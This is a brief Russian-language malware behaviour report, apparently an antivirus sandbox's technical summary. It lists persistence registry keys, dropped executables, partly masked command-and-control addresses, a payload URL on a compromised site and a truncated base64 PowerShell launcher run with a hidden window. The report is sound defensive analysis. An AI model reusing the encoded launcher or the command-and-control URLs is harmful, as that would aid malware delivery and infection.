Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\SPInf] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\SPInf] 'ImagePath' = '"%WINDIR%\SysWOW64\termmgr\SPInf.exe"'
- 'SPInf' "%WINDIR%\SysWOW64\termmgr\SPInf.exe"
- 'SPInf' %WINDIR%\SysWOW64\termmgr\SPInf.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHUAcQB3ADEANgAzAD0AKAAnAE0AJwArACcANAA5AHgAYQAnACsAJwAwAG8AJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAHYAOgBUAEUATQBQAFwATwBGAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AH...
- %TEMP%\office2019\je42ibif.exe
- %WINDIR%\syswow64\termmgr\spinf.exe
- %TEMP%\office2019\je42ibif.exe в %WINDIR%\syswow64\termmgr\spinf.exe
- '65.#6.62.20':80
- '20#.#26.6.222':8080
- http://www.os####obouliz.com/wp-admin/m1J/
- http://20#.##6.6.222:8080/KDZWAmFM/5qqIzNCwqR/8vHWEAK/IJfC3pqVHnkAPLS/RnVGzATGRVHAT5Qzxz/ via 20#.#26.6.222
- DNS ASK os####obouliz.com
- '%TEMP%\office2019\je42ibif.exe'
- '%WINDIR%\syswow64\termmgr\spinf.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFAHUAcQB3ADEANgAzAD0AKAAnAE0AJwArACcANAA5AHgAYQAnACsAJwAwAG8AJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAHYAOgBUAEUATQBQAFwATwBGAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AH...' (со скрытым окном)